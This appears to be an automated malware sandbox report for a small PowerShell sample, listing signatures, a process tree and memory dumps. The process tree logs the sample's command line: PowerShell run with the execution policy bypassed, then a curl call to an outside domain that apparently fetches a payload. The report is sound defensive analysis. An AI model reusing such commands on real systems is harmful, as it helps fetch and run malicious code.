Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/09/2026, 19:02
General
- Target target.ps1
- Size 93B
- Sample260908-xp91saxcnc
- SHA256 91181532f92b36cbfdc9dd472df83fccd057e3e8df4f89b63a14bcb503fe862f
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" --proxy-negotiate -U : -s https://winrun2915.com/b?t=KI6Q57ps2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3440-0-0x00007FFEF6B8F000-0x00007FFEF6B90000-memory.dmp
memory/3440-4-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-3-0x0000029FD49C0000-0x0000029FD49E2000-memory.dmp
memory/3440-6-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-5-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-7-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-8-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-9-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-10-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-11-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp
memory/3440-13-0x00007FFEF6A00000-0x00007FFEF73A4000-memory.dmp